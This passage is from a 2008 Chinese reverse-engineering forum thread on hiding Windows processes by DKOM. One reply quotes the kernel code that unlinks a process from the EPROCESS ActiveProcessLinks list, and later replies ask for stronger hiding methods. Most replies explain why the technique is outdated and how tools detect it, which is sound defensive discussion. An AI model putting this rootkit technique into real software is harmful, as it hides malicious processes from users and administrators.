雪    币: 722
活跃值: (123)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
12
这个东东的原理核心只在这两句:

plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);//隐藏进程
*((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;
*((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;


只是改了EPROCESS里的ActiveProcessLinks链表,把要隐藏的进程的EPROCESS在链表中脱链而已。

这是最早的DKOM隐藏进程的手法。充其量只能欺骗采用直接或间接(包括Process32First/Process32Next,以及NtQuerySystemInformation)
遍历ActiveProcessLinks链来检测进程的方法,也就是只能欺骗任务管理器。

像这样的手法,别说IceSword了,SSM、瑞星、SREng全都会报这个隐藏进程。

即使在Ring3下(如SREng)也有N多种方法可以检测出这样隐藏的进程。最简单的一个就是暴力循环对每一个可能的PID值进行OpenProcess尝试。

总而言之,这个东西原理N老,现在没有实用意义,不过还是谢谢楼主的“科普”。
2008-5-14 20:18
0
雪    币: 722
活跃值: (123)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
13
另外,楼主的FindProcessEPROC子函数,原理还是自己遍历ActiveProcessLinks链表。

其实,一个PsLookupProcessByProcessId不就直接找到了所需PID值对应的EPROCESS结构指针了吗?不需要自己吃力不讨好地遍历链表。

同时,楼主的方法,找不到“已被自己隐藏过的进程”的EPROCESS结构,但是用PsLookupProcessByProcessId就可以找到,这也就指出了破解这个隐藏方法的门径之一。因为PsLookupProcessByProcessId查的是PspCidTable。
2008-5-14 20:40
0
雪    币: 185
活跃值: (275)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
14
隐藏进程方法有很多种,但水平有限,我知道的就这一种,贴了出来,不知道最新的隐藏进程用那些方法,如果有,希望高人拿出来共享,
2008-5-14 22:01
0
雪    币: 217
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
隐藏后要怎么样才能再次在任务管理器中显示进程?该隐藏好象是不可逆的哦。
2008-5-15 09:18
0
雪    币: 235
活跃值: (23)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
16
PspCidTable我也听过这个 不知道哪位大大放出个
2008-5-15 10:19
0
雪    币: 381
活跃值: (140)
能力值: ( LV13,RANK:330 )
在线值:
发帖
回帖
粉丝
17
看来楼上的也喜欢空喊口号啊
这里面不是有示例代码吗???
【讨论】开源项目,欢迎你的加入(form antiprotect)
2008-5-15 10:42
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
还有什么隐藏的强大一点的方法
2008-5-15 13:13
0
雪    币: 248
活跃值: (42)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
可逆,可逆,记下EPROCESS的地址,恢复链表就行了
2008-5-15 14:17
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
感觉和就像是FU的精简版
2008-7-11 22:15
0
雪    币: 364
活跃值: (152)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
21
脱PspCidTable链行不?
2008-7-11 23:01
0
雪    币: 220
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
值得借鉴  谢谢 记下EPROCESS的地址,恢复链表
2008-8-20 22:49
0
雪    币: 220
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
测试了下-可行-对进程名的大小写敏感
2008-8-20 22:56
0
雪    币: 257
活跃值: (56)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
24
好东西,支持,留名。
2008-8-22 01:57
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
这个好象是fu的代码啊
2008-8-22 10:32
0
游客
登录 | 注册 方可回帖
返回
//